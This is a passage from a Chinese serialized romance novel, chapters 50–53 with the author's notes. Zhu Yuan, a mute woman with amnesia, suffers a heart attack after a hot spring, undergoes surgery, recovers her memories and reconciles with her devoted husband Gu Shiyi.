顾识弈长腿迈出,身形挺拔如松,熨贴的黑色西装衬得他肩宽腰窄,周身萦绕着沉稳内敛的气场。 酒店经理早已等候在旁,连忙上前躬身迎接:“顾总好!” 顾识弈微微颔首,开门见山:“今天有公司来团建,人都到齐了吗?” “已经到齐了。”经理恭敬应答,“需要我帮您召集他们吗?” “不必。”顾识弈踏入酒店大堂,深邃的目光扫过四周,带着不易察觉的急切,“告诉我一个叫诸愿的女生住在哪间房即可。” “好的,顾总稍等。” 另一边,服务员将苏沐和诸愿带到私人汤浴区。 两间单人浴池被雕花屏风隔开,牛奶色的汤水中漂浮着层层玫瑰花瓣,氤氲的热气裹着淡淡的花香,既保留了私人空间,又不影响两人交谈。 “两位,浴池浸泡时间不宜超过二十分钟,我已经调好智能提示板,时间一到就会响铃,到时两位起身即可。”服务员介绍完毕后便退了出去。 苏沐率先试了试水温,满意地喊道:“温度刚好!愿愿快来!” 诸愿笑着点头,缓缓踏入自己的浴池,温热的水流漫过肌肤,带着玫瑰的清香。 苏沐已然仰靠着浴巾闭上眼,一脸享受的模样。 诸愿则拨弄着水面,看着玫瑰花瓣在指尖流转,牛奶色的水珠顺着指缝滑落,玩心渐起。 玩了好一会儿,她才趴在浴池边静静享受浸泡的惬意。 可就在这时,心率突然毫无预兆地加快,一阵尖锐的心悸袭来,让她瞬间攥紧了池边的扶手。 她以为是方才玩得太兴奋,并未在意,谁知下一秒,头晕目眩的感觉骤然涌来,眼前的玫瑰花瓣都开始旋转模糊。 诸愿下意识看向门板上的提示板,不过才过去十分钟,远远未到超时的时间。 再看苏沐,依旧是一副舒适放松的模样,显然不是汤浴本身的问题。 她正想再等等看,脑海里那句“愿愿,别下水”又清晰地浮现出来。 这一次,她下意识地听从了这份莫名的指引,猛地站起身,水花四溅。 水声惊动了苏沐,她疑惑地睁开眼,见诸愿眼底慌乱,连忙问道:“愿意,你怎么了?不舒服吗?”说着便要起身。 诸愿站起身后果然觉得好受了些,只是心率依旧过快,胸口发闷。 她不敢再继续泡下去,便比划手语:〈我有点累了,想先回房间冲澡。〉 “那你去吧,路上小心点,我泡完刚好换我洗。”苏沐摆摆手说道。 诸愿点头应允,匆匆换好衣服后便乘电梯返回房间。 刚走出电梯,便看见自己和苏沐的房间门口,背对着站着一个高大的身影。 那人穿着剪裁得体的黑色西装,肩背挺拔,抬手似乎想要敲门,犹豫了片刻又缓缓放下,反复几次,透着难以言喻的纠结与隐忍。 诸愿心中疑惑,脚步不由自主地慢了下来。 不知为何,那道身影让她生出一种莫名的熟悉感,像刻在骨血里的印记,即使记忆尘封,依旧会产生本能的悸动。 脚步声似乎惊动了对方,他缓缓转过身来。 四目相对的瞬间,诸愿瞳孔骤缩,脚步猛地顿住,浑身的血液仿佛在这一刻凝固。 顾识弈也未曾想到诸愿此刻不在房间里,想到自己方才犹豫不决的举动全被她看在眼里,一时有些窘迫。 但他久经商场,早已练就了处变不惊的定力,很快便恢复了镇定,只是喉结的滚动,还是泄露了他内心的不平静。 他望着眼前日思夜想的人,原本备好的“巧合”说辞尽数抛开,只余下满怀的真心与急切: “愿愿,好久不见。” “我来找你了,你还记得我吗?”—— 作者有话说:不好意思,今天也是迟迟的![爆哭] 然后明天更新时间可能也跟今天一样十点左右[可怜]补偿已经写在公告上了,大家记得看哈,希望大家可以原谅我一下。 再次预警:快要完结了!感谢一路陪伴~ 到时候会再发一期抽奖红包[撒花]《 》 50-56 第51章 他看见诸愿的睫毛轻轻颤动了一下,良久,她才缓缓颔首。 顾识弈的心却沉了下去,如果诸愿真的记得他,绝不会这般疏离客气的模样。 她此刻的点头,大抵只是记起了刚失忆那阵,两人在M国见过面的事罢了。 他压下心底的失落,语速极快地开口:“晚上一起吃个饭?” 诸愿轻轻摇了摇头,发梢随之晃动了两下。 顾识弈几乎是立刻改口,语气里藏着一丝连自己都未察觉的急切:“那明天一起吃早餐?我知道附近有家老店,吐司会抹芋圆酱、牛奶也是放七分糖、蒸饺更是皮薄馅足,还有刚出锅的油条,脆得能掉渣。” 他噼里啪啦说了一堆,语气里满是期盼,可回应他的,依旧是诸愿无声的摇头。 “那中午呢?”顾识弈不肯放弃,声音里掺了点执拗的恳求。 诸愿还是摇了摇头。 她是陪着苏沐来参加团建的,说好要全程作伴,自然不能中途答应别人的邀请。 可顾识弈却只当她是刻意避着自己,碍于情面不好明说,才一次次用摇头委婉拒绝。 纵使他向来沉稳自持,面对心爱之人接二连三的疏离,心底还是隐隐作痛。 他绷了许久的下颌线微微收紧,才艰难地挤出三个字:“没关系。” 这话不知是说给诸愿听,还是用来安慰满心失落的自己。 诸愿轻轻点头,心里却掠过一 丝迟疑。 其实她可以答应明天跟他一起吃晚餐,明天下午她们就要返程了,晚餐可以不跟苏沐吃。 不过顾识弈没再追问,她的手机泡温泉时落在了房间里,无法打字说明,而手语,她清楚记得顾识弈是看不懂的。 这时,顾识弈的目光落在她微微湿润的发尾,眉峰微蹙:“洗头怎么又不吹干?” 诸愿摇头,也从重逢的怔忪中回过神。苏沐等会儿也要回来洗澡,她得快点先洗完才行。 她指了指房门,双手比出一个清晰的“进去”手势,尽量让自己的意图更明显些。 顾识弈看懂了,眼底的不舍几乎要溢出来,却还是默默侧身退让开通道。 诸愿颔首示意道谢,指尖刚触到门把手,心脏处忽然传来一阵尖锐的疼。 那疼痛起初只是细微的刺痛,转瞬便不断叠加,越来越烈,疼得她下意识捂住胸口,指尖泛白,仿佛要将那颗剧痛的心脏按住,阻止它继续撕扯。 身旁的顾识弈立刻察觉到不对,伸手稳稳扶住她摇摇欲坠的身体,语气里满是焦灼:“怎么了?” 目光扫过她湿漉漉的发尾和泛红的耳廓,他忽然反应过来,“你没洗头,是去泡温泉了?!”他记得住店客人可以免费体验温泉。 诸愿浑身一僵,瞬间确认了疼痛的根源。 她缓缓转过头,脸色苍白如纸,对着顾识弈轻轻点了点头。 不等她再比划什么,顾识弈已经迅速掏出手机拨通电话,声音沉稳却带着不容置疑的急切:“立刻把车开到酒店门口,通知急救中心,让医护人员在仁爱医院门口待命,马上会有一位突发——”他低头看向怀里强忍疼痛的少女,补全了信息:“心脏病的患者送达。” 他看见她的眼睛在一瞬间因为震惊而睁得极大,瞳孔微微收缩,整个人变得茫然无措,显然不知道自己为什么会突发心脏病。 可此刻情况紧急,他根本来不及解释。 挂断电话,顾识弈将她打横抱起便冲向电梯,温热的气息拂过她的耳畔,轻声安抚:“愿愿别怕,没事的,深呼吸,我一直在。” 刚跑出电梯,迎面便撞上了匆匆赶来的苏沐。 苏沐在浴池里越想越不安,换了衣服便赶来找诸愿,没料到会撞见顾识弈抱着诸愿跑的这一幕。 还没等她反应过来,顾识弈的声音已经传来,带着不怒自威的语气:“跟着我,立刻给诸贺打电话,我要诸愿最近的体检报告。” 那语气太过笃定,苏沐下意识便跟上,手指飞快地掏出手机拨通电话。 直到听筒里传来诸贺的声音:“怎么了?”她才后知后觉地觉得不对劲,可看着顾识弈怀里气息微弱的诸愿,身体已经先于大脑问道:“贺哥,我需要诸愿最近一次的体检报告。” 诸贺那边似乎察觉到了事情都紧急,没有多问,片刻后,苏沐的手机便传来“叮咚”一声提示音,体检报告已经发送过来。 一行人匆匆赶到酒店门口,林秘书早已等候在车边,拉开后座车门。待三人上车后,他才绕到副驾,转头对苏沐说:“苏小姐,体检报告拿到了吗?麻烦发给我,我提前传给医生。” 苏沐上次去M国时便加了他的联系方式,立刻将报告转发过去。 没挂断的电话里,传来诸贺难得严肃的语气:“愿愿是不是出事了?” 苏沐回头望去,只见后座的顾识弈紧紧抱着诸愿,她的脸色苍白得近乎透明,唇瓣却因被牙齿死死咬住而泛起不正常的嫣红,双手死死攥着胸口的衣襟,浑身都在细微地颤抖,显然在承受着巨大的疼痛。 下一秒,她看见顾识弈伸出手指,小心翼翼地撬开诸愿紧咬的牙关,将自己的食指递了进去,声音温柔得能滴出水来:“咬这里,别伤了自己。” 诸愿此刻已经疼得失去了思考能力,意识模糊间,只知道要抓住一个宣泄的出口,下意识便狠狠咬了下去。 很快,顾识弈的手指便渗出鲜红的血珠,顺着指缝蜿蜒而下。 苏沐看着都觉得指尖发麻,可顾识弈却眼睛都不眨一下,没有丝毫要挣脱的意思,只是低头温柔地看着怀里的人,目光里满是疼惜与自责。 她不敢再看,转过头对着电话哽咽道:“愿愿她好像……心脏疼得厉害,我们现在正在往——” “仁爱医院。”副驾的林秘书立刻提高音量补充道,同时对王叔道:“王叔,再开快点”。 电话那头传来椅子拖动的声响,诸贺的声音紧绷得像是随时会断裂:“我马上过来。” 几乎是诸愿刚被推进手术室、红灯亮起的瞬间,诸贺便从走廊尽头狂奔而来。他头发凌乱,额角沁着薄汗,声音带着难掩的颤抖:“怎么回事?愿愿怎么会突然心脏病发?” 苏沐此刻早已慌了神。工作中她能冷静应对一切突发状况,可面对好朋友生死未卜的局面,大脑却一片空白,只剩下满心的自责与恐慌。 听到诸贺的问题,她嘴唇哆嗦着,断断续续地说:“愿愿……愿愿她突然说要先回去洗澡,我就让她先回来了,后来我不放心,就赶过去找她,结果就看到顾总抱着她跑出来……” “是我在酒店门口遇见的愿愿。”顾识弈接过话头,声音低沉沙哑,“她们一起去泡了温泉。” 后面的话无需多言,顾识弈和诸贺都清楚,心脏病患者本就不宜泡温泉,即便病情控制得不错,浸泡时间也绝不能超过十分钟,显然诸愿已经超出了这个安全时限。 诸贺了然,正要开口,苏沐却再也忍不住,眼泪夺眶而出,哽咽道:“对不起贺哥,都怪我!要不是我贪图免费,拉着愿愿来参加这个团建薅羊毛,她就不会出事了……都是我的错!” 诸贺看着她捂住脸自责痛哭的模样,伸手怕了拍她的肩膀,声音尽量放得平稳:“不怪你。愿愿从小就有心脏病,是我怕她难过故意瞒着她的,她自己都不知道,你又怎么会清楚。要怪也该怪我疏忽了,没提前提醒你们。” 他顿了顿,又补充道:“你不知道,昨晚愿愿跟我说要去团建的时候,开心得像个孩子,还说能免费吃喝玩乐,特别期待。谁也预料不到会发生这种事,这不是你的错。” 苏沐抹了抹眼泪,知道诸贺是在安慰自己,心里的自责丝毫未减。 可看着手术室亮起的红灯,想到里面生死未卜的好朋友,再想到此刻比自己更煎熬的诸贺,她强迫自己冷静下来,对着诸贺重重点了点头。 诸贺的目光落在她还带着湿气的发尾,从口袋里掏出一串钥匙,语气带着恳求:“你能不能去我家一趟,拿些愿愿需要的日用品?她这次恐怕要住院一阵子,我一个男人,不方便拿她的贴身衣物。” “我现在就去。”苏沐立刻接过钥匙,转身便要走。 “等等,”诸贺叫住她,语气里带着关心,“你的头发还湿着,路上注意保暖,别着凉了,拿完东西不用急着回来,先换身衣服。” “好。”苏沐吸了吸鼻子,快步离去。 “谢谢。”诸贺对着她的背影轻声说道,声音里透着一丝难以察觉的疲惫。 待苏沐的身影消失在走廊尽头,顾识弈才缓缓开口,声音低沉得像是从胸腔深处挤出来的,却抛出了让诸贺震惊的消息: “愿愿她……已经知道自己有心脏病的事了。” 诸贺浑身一僵,怔在原地,过了许久,才艰涩地开口:“我们都太胆小了,总想着替她遮风挡雨,却反而间接害她受了一次又一次的伤害。” “她现在长大了,未必就承受不住这件事。”他看向手术室门上亮着的“手术中”红灯,轻轻叹息,“何况,我们不可能随时随地陪着她,万一再遇到这种她不知情的情况……这次她知道了,或许也不是坏事,总比我们一直瞒着她,让她在不知情中陷入危险要好。” 顾识弈张了张嘴,喉结滚动了一下。其实他还有一件事没说—— 苏沐自责 是自己拉着诸愿来团建才导致了这场意外,可追根溯源,真正的始作俑者是他。 是他为了能见到诸愿,故意与苏沐的老板达成交易,一手策划了这场团建。 所有的错,都在他身上。 若不是他私心作祟,急于见到她,诸愿就不会来这里,更不会突发心脏病,此刻也不会躺在手术室里,生死未卜。 手术室的红灯映在他眼底,像一团燃烧的火焰,灼烧着他的心脏。 一切都是他的错……—— 作者有话说:呜呜,果然还是迟了,我的手速真的超级超级无敌慢。 我无法再承诺几点发了,只能做到当初说的日更了[爆哭][爆哭][爆哭] 还是发红包致歉[抱抱] 第52章 诸愿醒来时,窗外阳光正盛。 她怔怔地望着天花板,一时竟分不清自己昏睡了多久。 她费力地转了转脑袋,视线越过床沿,猝不及防地撞见熟悉的轮廓——顾识弈正趴在那儿,侧脸贴着床单,眼下是浓重的青黑,下巴冒出的胡茬泛着青,一看便是许久不收拾了。 诸愿的睫毛轻轻颤了颤,心底漫过一丝说不清的滋味。 他……该不会一直守着自己吧? 她怕他好不容易才睡着,现在还没睡够,不敢摇他。 目光无意间掠过床头柜上的手机,诸愿下意识地想伸手去拿,却发现手腕动不了。 她稍一用力,原本睡得安稳的顾识弈竟猛地睁开了眼。 诸愿才后知后觉地发现,自己的手竟被他紧紧攥着,大概是习惯了这份力道,竟半点没察觉。 她这一动,无异于把人摇醒了。 诸愿心下愧疚,却见顾识弈眼底的惺忪瞬间被狂喜冲散,他几乎是脱口而出:“愿愿,你醒了!感觉怎么样?”话音未落,他已经按响了床头的呼叫铃,“医生马上就来。” 果然,不过片刻,医护人员便匆匆赶来。 为首的马医生快步上前,语速温和地问了几个关于身体状况的问题,诸愿都乖乖配合着,点头或是摇头。 问诊很快结束,马医生松了口气,看向诸愿打目光带着明显的欣慰:“诸小姐的求生意识很强,伤口恢复得很理想。这次手术之后,往后不会再轻易发作了,只是切记每年都要来体做一次体检,以防万一。” 顾识弈紧绷的下颌线骤然柔和,连忙道谢:“谢谢医生。” “顾总客气了。”马医生颔首,正要转身离开,却被诸愿的动作“唤”住。 她抬起手,轻轻比划了两下。 顾识弈瞬间会意,连忙将桌上的手机递过去,低声问:“怎么了?” 诸愿微微颔首,指尖在屏幕上敲击:【我的记忆好像恢复了,记起了很多之前忘记的事。我的脑袋,需要再检查一下吗?】 马医生和顾识弈看完,皆是一愣,对视的眼神里满是震惊。片刻后,马医生立刻安排了进一步的脑部检查。 等待检查的间隙,顾识弈坐在床边,指尖微微发颤,声音轻得像音量大一点这一切就不存在了:“你记得我们为什么结婚了?” 诸愿点了点头,继续在屏幕上打字:【大部分都想起来了。】顿了顿,又补充了一句:【哥哥是不是知道我晕倒了?】 顾识弈颔首,语气不自觉放柔了些:“你哥刚进公司,手头的项目正赶工期,抽不开身请假。” 诸愿了然地点点头,她懂,也支持。 她低下头,又敲下一行字:【苏沐呢?她是不是吓坏了?】 “嗯。”顾识弈的声音沉了沉,“她当时哭得很厉害,不过你别担心,你哥安慰过她了。这些天,她每天下班都会过来守着你。” 诸愿闻言,心里暖暖的,又打了一行字递过去:【谢谢您这几天的照顾。我现在感觉好多了,您要不要回去休息一下?我哥哥应该也快下班了。】 顾识弈看着屏幕上的字,眉头却猛地蹙紧。心头那股不对劲的感觉愈发强烈:她恢复了记忆,怎么对自己还是这般疏离客气? 他试探着开口,声音里带着一丝不易察觉的紧张:“你叫我什么?” 诸愿歪了歪头,眼底掠过一抹不解,却还是老实地点开输入法,敲下了那个称呼。 当“顾总”两个字清晰地跳在屏幕上时,顾识弈的呼吸猛地一滞,心脏像是被一只无形的手攥紧。 他追问,声音都带上了一丝急切的颤抖:“你恢复的记忆,记到了哪里?” 诸愿这下是真的懵了。她不知道想到了什么,抿了抿唇,干脆地摇了摇头,摆明了不想回答。 顾识弈却像是被这动作击溃了一般,猛地攥紧了她的手,目光灼灼地盯着她的眼睛,像是生怕自己一眨眼,她就会彻底忘记他一样,“愿愿,求你,告诉我好不好?” 诸愿被他眼底翻涌的痛楚和慌乱吓了一跳,终究还是软了心肠。她低下头,指尖在屏幕上慢慢敲击:【记起来您答应了静姨要给我买布蕾脆脆奶芙奶茶,可第二天你下班过来,根本就没带。】 少女似乎还憋着气,前半句还用着客气的“您”,敲到后半句,却赌气似的换成了“你”。 顾识弈看着那行字,整个人都怔住了。 他怎么也没想到,她恢复的记忆,竟然停在了这个节点。一时之间,他竟分不清自己该哭还是该笑。 只是很快,他便回过神来。当务之急,是扭转自己在少女心里这个“言而无信”的形象。 他斟酌着开口,声音放得极低:“你还记得,你这次为什么会进医院吗?” 诸愿点了点头。她现在的记忆,已经恢复到遇到顾识弈之前的所有事,包括在孤儿院里的点点滴滴。 顾识弈见状,才敢把压在心底的话一股脑说出来:“我当时跟静姨说‘我知道了’,是答应了会给你买,但没说,是第二天就买。” 诸愿撇了撇嘴,这有什么区别?不都是不买吗! 顾识弈一看她呼吸都急促了几分,生怕她情绪激动牵动伤口,连忙伸手轻轻顺着她的背,柔声哄道:“愿愿,深呼吸,别生气。事情不是你想的那样。”他不敢停顿,语速飞快地解释,“那时候医生刚跟我说,你有心脏病,必须严格控糖。奶茶的糖分太高了,你那时候的身体状况,根本不能喝。我答应静姨,是想等你身体好些了,再买给你,不是故意不买的。” 他的声音里满是懊悔:“如果我早知道,你当时听到了我和静姨的对话,我一定会在你问我‘你们没买奶茶吗’的时候,直接跟你解释清楚,而不是说那些棱模两可的话。对不起,愿愿。” 他真的后悔,如果早知道这场误会,会让她记挂这么久,甚至气得诱发了心脏病,他说什么也不会那样回答。 诸愿听完,整个人都愣住了。 她恍惚记起来,那天自己质问时,他好像确实说的是“我有说今天买奶茶吗”。这句话,好像确实可以理解成,他打算改天再买。 追根究底,这场误会的源头,还是自己偷听墙角的缘故。想到这里,诸愿的脸颊瞬间涨得通红,又羞又窘,恨不得找个地缝钻进去。 恰在此时,护士推门进来,提醒他们可以去做检查了。 等诸愿做完检查,刚被顾识弈小心翼翼抱回病床上,就看见苏沐抱着一大捧娇艳的向日葵,诸贺拎着一蓝果篮,两人一前一后地走了进来。 “愿愿!”苏沐像是看到了什么宝贝,放下花束就扑了过来,挤开顾识弈,一把抱住了她,声音里还带着 浓浓的鼻音,“呜呜呜你终于醒了!你知不知道,你差点吓死我了!” 前几天,她看到诸愿双眼紧闭,浑身颤抖的样子,到现在想起来,心还在发颤。 诸愿抬手拍了拍她的背,等苏沐抬起头时,她比了个手语:〈不好意思,破坏了你的团建。〉 苏沐看完,下意识地看向一旁的顾识弈。 她已经从对方口中得知了团建的真相,原来根本就没有老板喜欢小员工的戏码,全是这人费尽心机的筹谋。 不过,就像诸贺会原谅自己一样,她也不好多说什么。毕竟这事谁也没料到,最委屈的,还是诸愿。 她紧紧握住诸愿的手,语气认真:“说什么傻话!要不是有你陪我去,就算团建免费,我也懒得去,谁喜欢和自己的同事玩啊。” 两个女生你比划我说话,叽叽喳喳地聊了起来,一时半会儿竟没有停下的意思。 顾识弈见状,便和诸贺对视一眼,两人一同去了医生办公室,想详细问问检查结果。 马医生见到他们,温和地点了点头,给出了一个好消息:“从目前的检查结果来看,诸小姐的记忆,因为这次心脏病发作,反而开始逐渐恢复了。相信要不了多久,就能完全恢复正常。也算是因祸得福了,两位不用太过担心。” 顾识弈和诸贺悬着的心稍稍放下,连忙向马医生道谢。 走出办公室,诸贺到底是心思细腻,看顾识弈眉宇间依旧凝着一丝郁色,忍不住开口问道:“愿愿恢复了记忆,你怎么看起来……不太高兴?” 顾识弈扯了扯嘴角,露出一抹苦涩的笑。任谁知道,自己的妻子恢复的记忆,偏偏停在记恨自己的那个节点,怕是都高兴不起来吧。 他摇了摇头,没敢多说,怕诸贺误会自己又欺负了诸愿。 诸贺却像是看穿了他的心思,眸子徒然锐利了几分,语气也带着几分质问:“你不会因为愿愿没有完全记起你,就又要离开吧?” 他顿了顿,一字一句道:“如果是这样,你现在就可以走了。我会跟愿愿解释清楚。” —— 回到病房时,苏沐正陪诸愿洗漱。两人分工合作,一个支小桌子,一个打开刚送来的餐食,不一会儿,四人热热闹闹地凑在一起,吃了顿难得的晚饭。 饭后,苏沐因为明天还要上班,便先告辞离开了。 诸贺本想留下来守夜,却被诸愿用手语拒绝了:〈哥哥明天也要上班,一起回去吧。〉见诸贺还要再说,她又急急地补充:〈我这次住院的手术费肯定不低,我们好不容易才把欠顾识弈的钱还清,不想再跟他借。〉 她的注意力全在哥哥身上,丝毫没有察觉到,身旁的顾识弈看到这番手语时,眼底飞快地掠过一抹受伤。 诸贺这几天之所以坚持上班,就是想多赚点钱,好支付高昂的手术费。他一开始还特意雇了个护工照顾诸愿,谁知竟被顾识弈趁自己不在,找了个由头赶走了。 想到之前在M国的种种,诸贺终究还是松了口。既然他想照顾诸愿,那就随他去吧。 最终,诸贺还是拗不过妹妹,转身离开了病房。 病房里只剩下两人,一时安静下来。 顾识弈端来一盘切好的水果,精致的白瓷盘里,苹果被细心地雕成了小兔子的模样,可爱得让人不忍心下口。 诸愿看着他小心翼翼、生怕惹自己不快的样子,心里竟莫名生出一丝诡异的感觉。 在她以前的记忆里,顾识弈一直是外人口中那个冷漠无情、杀伐果断的商界大佬,怎么也想不到,他竟会对自己露出这般模样。 心下微动,终究还是不忍拒绝。她接过顾识弈递来的叉子,轻轻点了点头。 顾识弈见她肯吃,眼底瞬间亮起了光,像是得到了嘉奖,竟生出几分雀跃来。 诸愿吃完一块苹果,在顾识弈打算递来第二块时,轻轻摇了摇头。 她拿起一旁的手机,指尖悬在屏幕上,犹豫了许久,终究还是决定把话说清楚。 她慢慢敲着字,每一个字都像是斟酌了千百遍:【中间这么久没履行协议,实在对不起,但能不能念在钱已经还清的份上,我也不要顾氏资产那三成的增值了。】 【我们……能不能提前解约?】—— 作者有话说:果然不出我所料,我这个手速就是如此的慢![摊手] 大家可以不用这么着急来,但不能不来哈[可怜] 谢谢谢谢大家的包容[抱抱] 今天梳理了一下剧情,已经大概确认这周完结了,如果没有,就当我放了团不明空气[捂脸笑哭] 在考虑要不要更番外,应该会作为免费的福利番外,所以大家想看什么剧情的可以说一下,反正免费不要钱嘿嘿(前提我能写[眼镜]) 明天见(应该还是这样晚[求求你了]) 第53章 “也不要我吗?” 顾识弈的声音沉在空气里,目光牢牢锁着他,带着一丝她读不懂的执拗。 诸愿怔了怔,才后知后觉反应过来,他是在回应她方才那句“不要顾氏资产三成增值”的话。 她垂眸盯着被子上的纹路,心头莫名发紧,是她失忆后,和他之间又发生了什么事吗? 不然,他怎么会露出这般被抛弃的模样? 话既然已经说到这份上,她也不想再憋在心里,指尖在屏幕上敲的飞快:【你其实也没有很喜欢我吧?】 顾识弈看着那行字,瞳孔骤然收缩,整个人都僵住了。 他从没想过,诸愿会怀疑他的心意。 是他做得不够好吗? 一定是。 他喉结滚动,急切的开口,声音都带着点颤:“喜欢的,愿愿,我喜欢你。” 诸愿扯了扯嘴角,眼底却没半分波澜。 如果真的喜欢,那在M国她刚从昏迷中醒来时,他为什么要不告而别? 若是那时,他能像哥哥那样寸步不离守着她,或许,她真的会试着接受。 可他走了,走得干脆利落,连一句道别都没有。 如今她回来了,他又摆出这副离不开她的样子,算什么? 鼻尖徒然一酸,眼眶瞬间就湿了。 她还没来得及抬手去擦,泪珠已经砸落在纯白的被面上,晕开一小片深色的印记。 她猛地别过脸,心里又羞又恼。 不过是一件小事而已,哭什么?太丢脸了。 可越是克制,眼泪就越是汹涌,怎么止都止不住。 她讨厌这样软弱的自己,更讨厌眼前这个口口声声说喜欢她,却偏偏让她这么难过的顾识弈。 这算哪门子的喜欢? 她真的,好讨厌顾识弈。 看着她汹涌的泪水,顾识弈瞬间就慌了。 他能在商场上翻云覆雨,能对着上亿的合同面不改色,可面对她的眼泪,却手足无措。 这一刻他才恍然惊觉,自己或许真的不是一个合格的丈夫。 他手忙脚乱地抽了张纸巾,犹豫了片刻,还是小心翼翼地伸手,替她拭去脸颊的泪痕。 指尖触到她微凉的皮肤时,他屏住了呼吸,生怕她会毫不留情地推开自己。 出乎意料,诸愿没有动。 他心里掠过一丝微弱的庆幸,却不敢当真,声音沙哑得厉害:“别哭好不好?对不起,是不是我哪里做的不好,让你这么难过?你告诉我,我都改……” 像是突然想起了什么,他急忙补充道:“是不是我在M国对你不告而别?” 诸愿的睫毛轻轻颤了颤,这细微的动作,立刻让顾识弈笃定了答案。 他握紧她微凉的手,掌心的温度烫得她微微一颤。 他的声音低沉而恳切,一字一句的解释:“那天我离开,是因为我觉得自己太没用了。” 他低下头,呐呐:“所有人都懂手语,只有我不懂。明明我才是那个要陪你一辈子的人。” 这话落进耳里,诸愿脸上的泪痕还没干,耳尖却先一步烧了起来。 谁 要和他一辈子? 她别扭地又偏过头,心跳却乱了节拍 顾识弈没察觉她的窘迫,兀自往下说:“我心里难受,就出去给林秘书打了电话,让他立刻帮我报手语课。我想学,想看懂你每一个手势的意思,想让你和我‘说话’的时候,再也不觉得费解。” 诸愿猛地睁大眼睛,心里像是有什么东西正在破土而出,带着微弱的痒。 她迟疑了几秒,比划了个手语验证:〈所以你现在能看懂我的手语?〉 下一秒,顾识弈的声音清晰的响起:“是的,我现在能看懂手语了。” 诸愿脑海里猛地闪过刚刚对哥哥比划“不想借他钱”的手语,脸瞬间露出尬尴的红晕。 他该不会都看见了吧?那他得多难过? 顾识弈像是看穿了他的心思,握着她的手,轻轻贴在自己的脸颊上,掌心的温度透过皮肤传过来,带着令人安心的温暖。 他笑了笑,声音柔和:“没关系。”顿了顿,又拾起方才的话头,语气染上几分沉重:“就在我和秘书交代完课程的事,爷爷的管家突然打来电话,说老爷子病重,怕是撑不了多久了,让我立刻回去。” 那时诸愿的病情反复,身体虚弱,而诸老爷子曾经吓唬过她,她每次见他都很害怕。 顾识弈怕她受刺激,连婚前协议的事都不敢解释,更不敢把诸老爷子病危的消息告诉她。 可他不能不回去。 他十岁那年就没了父母,虽然后来知道父母的离世和诸老爷子脱不了干系,可他到底是老爷子一手养大的,给了他最好的物质生活,教他商场上的谋略。 老人临终,他没有理由不回去送最后一程。 而且,那时顾城文为了争夺顾氏,还派人截杀他,他不得不回去解决。 但这些腌臜事他并不想让诸愿知道,免得烦心。 诸愿看着顾识弈泛红的眼角,心里像是被什么东西狠狠揪了一下,疼得厉害。 她下意识地反握住他的手。 “我没事。”顾识弈察觉到她的动作,眼底掠过一丝暖意,他轻轻摩挲着她的手背,声音带着小心翼翼的祈求,“愿愿,可不可以……别不喜欢我?如果我还有哪里做得不好,你都告诉我,我一定改,好不好?” 诸愿心里咯噔一下,这才反应过来自己刚才一时心软,竟然主动握了他的手。 现在再甩开,好像太刻意了。 她咬着唇,心里乱成一团麻。 理智告诉她,不能再和他纠缠下去,她的记忆里,根本没有喜欢他的痕迹。 可心底深处,又偏偏舍不得看他这般难过的模样。 她今晚找他摊牌,就是因为这两种情绪在心里反复拉扯,让她喘不过气,想彻底做个了断。 可现在,顾识弈把一切都解释清楚了,她好像……再也找不到拒绝他的理由了。 顾识弈似乎看穿了她的犹豫,他放柔了声音:“很晚了,先睡吧,有什么事,明天再说。” 诸愿点了点头,闭上眼睛,意识渐渐沉了下去。 不知过了多久,她猛的睁开眼,却惊觉自己竟飘在半空中。 而病床上躺着的,是沉睡着的自己。 诸愿吓得心脏骤停:难道她就这么睡过去了? 就在这时,病床上的“她”缓缓睁开了眼睛。 诸愿看得目瞪口呆,她的灵魂明明在这里,为什么身体还会醒过来? 正惊恐间,病房门被轻轻推开,静姨走了进来。 病床上的“她”在手机上打字问静姨,【我为什么什么都不记得了?】 静姨叹了口气,柔声解释:“你前天晚饭后说不舒服,医生让观察一晚,结果第二天早上情况突然恶化。紧急做了手术,昏迷了一天一夜,所以才不知道这两天的事。” 病床上的“她”点了点头,没再追问。 飘在半空中的诸愿却骤然愣住,她想起来了,病床上的,是去年的自己。 这个念头刚落,眼前的景象突然天旋地转。再睁眼时,眼前的她已经穿戴整齐,正坐在床上玩贪吃蛇。 顾识弈推门进来,递给她一杯奶茶,是她最喜欢的布蕾脆脆奶芙。 诸愿的心猛地一颤。 原来白天他说的都是真的,他真的是打算等她好一点,就买奶茶给她! 画面又开始飞速切换,像一部快进的电影。 她看见静姨拿着小铲子递给她,笑着说,“这是顾总特意交代的,说您或许会想亲手种一颗山茶花树。” 她看见深夜里,自己对着按摩椅手足无措,顾识弈皱着眉凶她快去洗澡,转身却默默拿起螺丝,替她把按摩椅组装好。 她看见自己谎称失眠去书房借书,实则想拍他的U盘,他却半点没有怀疑,任她拍照,还问她,“拍好了?”还看见他手臂上被她咬出的牙印,他却半点没计较。 她看见他明明公务缠身,却每天开车送她上班,下班没空,也会让司机准时来接,只因为怕她声障不方便打车。 她看见他明知道那是场披着温情外衣的商务局,却为了帮她还人情,点头同意了赴约。看见她被众人冷落,孤零零的站在角落,明明前一秒还在微信上提违约离婚,下一秒却叫她过去坐在他身边,对旁人淡声说:“我更喜欢安静的人。” 她看见他推掉所有工作,休假一周,手把手教她滑雪。 她看见她害他食物中毒,命垂一线,连夜进抢救室,却说:“我并不怪你。” 她看见他为了救她,和诸老爷子正面抗衡,背上满是藤条的伤口。 她看见他明明不同意她出差,却还是让静姨帮她收拾好行李,又开车去邻市看她。 他看见她从不干涉她加班,却每晚都算着时间来接他,带她吃遍八大菜系。 她看见在家宴上,她被人设计,砸坏了藏宝室的珍宝,是他站出来,替她挡下了所有风雨,赔偿了全部金额,还帮她报仇。 她看见他明明知道她是去赴陷害他的局,还是亲自开车送她,事后不仅没有怪她,还送她玫瑰花,说补七夕的礼物。 她看见她想偷机密,跟着他去正远,他却记得她所有的饮食喜好,早早吩咐助理准备妥当。 她看见他为了送她胸针,在拍卖会上一掷千金,毫不犹豫地点下天灯。 她看见他最后,竟把那份能颠覆正远的机密文件,光明正大地放在办公桌上,为了让她看见还编了让她拍编号的谎言。 她看见她说想去看哥哥,他立刻就安排了私人飞机,陪她飞往M国。 她看见他一大早特意骑马去牧场取当地认定的鲜牛奶。 她看见哥哥手术那天,他在手术室外陪了她整整一天,寸步未离。 她看看他帮她摆脱诸世青的压迫、请插花老师教她、带她去吃火锅。 她看见他深情地向她表白…… 原来,顾识弈为她做过这么多事。 可她忘了,还一直都在误会他。 诸愿突然觉得心脏疼,疼得她呼吸困难。 眼泪汹涌而出,她好想好想抱抱他,好想告诉他,她全都想起来了。 